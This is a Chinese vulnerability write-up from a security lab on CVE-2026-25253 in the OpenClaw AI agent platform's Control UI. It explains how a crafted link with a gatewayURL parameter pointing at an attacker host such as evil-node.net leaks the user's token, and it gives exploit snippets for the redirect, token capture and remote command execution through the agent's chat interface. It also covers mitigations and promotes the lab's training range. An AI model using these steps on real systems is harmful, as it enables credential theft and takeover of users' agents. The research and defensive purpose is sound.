作者:星云实验室 浦明
摘要
本文深入解析 OpenClaw(原 Clawdbot/Moltbot)控制端 UI 存在的关键逻辑漏洞 CVE-2026-25253。该漏洞 CVSS 评分达 8.8,2026.1.29 以前版本均受影响,属于典型的跨域资源传输不当(CWE-669)。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-25253 |
| CVSS 评分 | 8.8 |
| 危险等级 | 高危 |
| 漏洞类型 | 跨域资源传输不当 (CWE-669) |
注:本文及相关靶标构建方法仅用于安全研究与防御体系学习,请勿将相关技术用于任何未经授权的非法测试网络。
一、背景与威胁场景介绍
在 [OpenClaw 安全实战系列(一):突破信任边界 — Agent Skill 供应链投毒路径重现及自动化靶标建设] 中,我们讨论了如何防范来自三方扩展插件的恶意注入;在系列二中,我们揭示了 POSIX 缩写解析绕过安全白名单的问题。
如果说前两篇侧重于"意图欺骗"与"解析绕过”,那么本篇作为系列三,我们将视野移向 OpenClaw 的控制平面安全。即便配置了完美的插件白名单和严格的命令审计,如果控制端的"网关指向"本身可以被篡改,攻击者就可以绕过所有防御,直接接管整个代理系统。
1.1 OpenClaw 架构解构:执行侧与控制侧的博弈
要理解此项漏洞,首先需解构 OpenClaw 的核心架构。OpenClaw 并非一个单体应用,而是由高度解耦的两部分组成:
OpenClaw Gateway:后端网关,基于 Node.js 构建的核心引擎,负责管理 LLM 接口、维护工作区文件系统、执行系统级工具以及处理所有敏感凭据。通常运行在受控的服务器或本地主机上。
Control UI:前端控制台,基于 React 构建的高级交互界面,是用户与代理对话、查看日志、配置系统的主要入口。
这两者之间通过 WebSocket 协议进行双向实时通信。在典型部署场景中,控制端需要获知网关的精确地址(如 ws://127.0.0.1:18789)方可建立连接。
风险产生的深层背景在于架构设计中所体现的便利性逻辑:在实际应用中,用户通常会通过一个统一的 Control UI 控制台,来管理分布在不同环境下的多个后端网关。例如,一名安全研究员可能同时管理本地开发环境与远程测试环境的多个网关实例。
通过在 Control UI 的访问链接末尾添加 ?gatewayURL=...,用户可以创建一组类似浏览器书签的快捷方式,实现一键直达特定的运行环境。然而,这种设计陷入了一个典型的安全误区:系统默认信任了来自 URL 参数的网关地址,而没有对其合法性进行充分校验。
1.2 威胁场景介绍:防御视角的"灯下黑”
为了让读者对威胁场景有清晰的理解,我们设定场景为某攻击者在开发者社区发布了一个名为"OpenClaw 提示词优化插件演示"的推文,并附带了一个恶意链接:
http://x.x.x.x:18789/chat?gatewayURL=ws://evil-node.net:13337
攻击者画像:攻击者利用受害者在浏览器中保持 Control UI 登录的习惯,构造诱导链接。一旦受害者点击,前端 Control UI 将连接至攻击者恶意构造的服务器,直接针对 Control UI 应用的逻辑缺陷绕过传统防御手段。
受害者画像:一名正在浏览器中运行 OpenClaw 实例的开发者。由于其已保持 Control UI 登录状态,当他因对攻击者发布的推文感兴趣并点击恶意链接时,浏览器会直接加载已有的前端会话,无需重新登录。
攻击执行过程:
- 信任背书:攻击者在官方社交软件或开发社区中发放推文,受害者出于兴趣点击了恶意链接,未产生防备心。
- 逻辑劫持:控制端 UI 加载时,解析到恶意参数
gatewayURL。 - 建立连接:控制端不再连接本地的 18789 端口,而是主动向攻击者的恶意服务器发起 WebSocket 握手。
- 凭证发送至网关:在 WebSocket 建立后的第一个验证包中,控制端会自动将受害者的身份令牌发往恶意网关。受害者仅能从右上角看到"Connected"状态,却无法察觉数据流向已发生偏移。
这种 1-Click 攻击的精妙之处在于,它利用了合法域名下的合法逻辑缺陷,实现了对身份凭证的无感窃取。
攻击者已通过网关身份认证,可以通过访问 Control UI Chat 页面进行 RCE 等危险操作。
该漏洞根本原因在于:OpenClaw 的 Control UI 允许通过 URL 参数动态覆盖后端 Gateway 地址,且在连接新 Gateway 后端时未进行充分的安全性校验或用户确认。攻击者可诱导受害者点击恶意链接,将受害者的认证凭据发送至攻击者控制的服务器,进而实现对 OpenClaw 控制端的完全接管。
二、自动化靶场环境搭建
2.1 核心环境依赖
| 组件 | 说明 |
|---|---|
| OpenClaw | ≤ 2026.1.29 漏洞版本(从 Releases 获取) |
| Python 3.x + Flask | 运行攻击脚本 exploit.py |
| Node.js | 构建并运行 OpenClaw Gateway |
| 浏览器 | 模拟受害者 Control UI 会话 |
2.2 漏洞靶标构建
下载源码:从 https://github.com/OpenClaw/OpenClaw/releases?page=3 获取脆弱版本。
构建部署:按照 https://docs.OpenClaw.ai/install 执行环境安装与前端构建 [1]。
启动网关:
node ./dist/index.js gateway run
令牌配置:从配置文件中获取网关授权令牌。
通过令牌访问 Control UI,显示 Connected 即 Control UI 连接 Gateway 成功。
三、漏洞复现与利用
本漏洞复现场景可参考 1.2 节中的威胁场景介绍,攻击者通过在攻击机上部署恶意服务器、构造恶意网页诱发受害者点击,执行 1-Click 操作。
3.1 攻击脚本构造
本文研究漏洞的攻击脚本参考 https://github.com/ethiack/moltbot-1click-rce 实现。
核心攻击脚本包括一个单 Python 文件(exploit.py)的 Flask 服务,以及 HTML 模版(核心包括触发 OpenClaw 重定向的页面 lolada1.html 与执行远程代码的页面 lolada2.html)。
核心流程包括三个阶段:
网关地址劫持
攻击者构造一个恶意网页 lolada1.html,利用 window.location 将受害者重定向到带有恶意参数的合法 OpenClaw 页面。这一步利用了 OpenClaw 前端会优先读取 URL 参数中 gatewayURL 字段的特性:
window.location = TARGET + "?gatewayURL=" + EXPLOIT_URL;
身份凭证窃取
受害者的浏览器会向攻击者的服务器发起 WebSocket 握手。按照 OpenClaw 的协议,会在第一个数据包中包含用户的 token。攻击者模拟了一个合法的网关,诱导客户端进行身份验证握手:
auth = message["params"]["auth"]
TOKEN = auth["token"]
伪造身份远程代码执行
攻击者获得令牌后,通过 lolada2.html 页面,绕过被篡改的网关,直接向真实的 OpenClaw 服务器发起连接。攻击者不仅拥有令牌,还利用 crypto.subtle API 生成了合法的设备签名,从而完全伪装成合法用户执行 RCE 命令:
{
"method": "chat.send",
"params": {
"message": "`execute ${COMMAND}`"
}
}
3.2 执行效果验证
四、安全防护最佳实践:构建体系化防御
针对 AI Agent 架构下的安全挑战,单一的补丁升级难以应对复杂的动态威胁,需从多个维度构建防御体系。
4.1 通信链路与准入控制
源验证机制:控制端应引入严格的网关地址白名单校验,禁止从未经授权的参数中解析连接目标。
令牌安全加固:弃用 URL 传参方式,身份令牌应存储于加密且具备安全标志的会话存储中,并配合短暂的有效期与刷新机制。
跨域策略收紧:在网关侧实施严格的跨域资源共享(CORS)策略,并强制校验 WebSocket 握手的来源字段(Origin)。
4.2 运行环境隔离
零信任沙箱:将代理的执行环境容器化。即便控制平面被攻破,攻击者的指令也被限制在受控的临时沙箱内,无法触及宿主机全局文件系统或敏感环境变量。
最小权限原则:不仅限制代理能执行的命令种类,还应限制其网络访问范围,防止被作为内网横向移动的跳板。
4.3 动态审计与审批流程
关键操作人工干预:对于涉及系统变更、外网连接或权限提升的操作,强制开启用户审批模式,防止自动化链路下的一键沦陷。
实时行为监测:建立基于行为指纹的异常监测模型。当代理发出不符合日常模式的指令流或连接异常网关时,系统应能即时熔断连接并触发告警。
五、绿盟 AI 靶场创新方案
绿盟科技星云实验室已将该复现逻辑集成于 AI 靶场,重点呈现:AI 系统对外部环境的威胁(演示受控代理如何成为内网渗透跳板);外部环境对 AI 系统的威胁(还原通过 Control UI 劫持接管代理系统的全过程)。
AI 靶场方案引入多类威胁模型,构建了覆盖实战攻防全链路的靶场环境,重点呈现三大核心场景:
AI 系统对外部环境的威胁场景:靶场重点还原大模型被纳入系统后,其输出结果被自动采信并直接作用于外部环境(本地终端与开发机、浏览器与 IDE、云原生基础设施等)所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷,而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。
外部环境对 AI 系统威胁场景:靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出,而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限,从运行环境、权限体系与数据上下文等多个层面,直接接管或长期影响大模型的行为。
AI 系统自身的内生安全风险场景:如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。
六、参考文献
[1] OpenClaw Official Docs: Installation. https://docs.OpenClaw.ai/install#from-source
[2] CWE-669: Incorrect Resource Transfer Between Spheres. https://cwe.mitre.org/data/definitions/669
「真诚赞赏,手留余香」
真诚赞赏,手留余香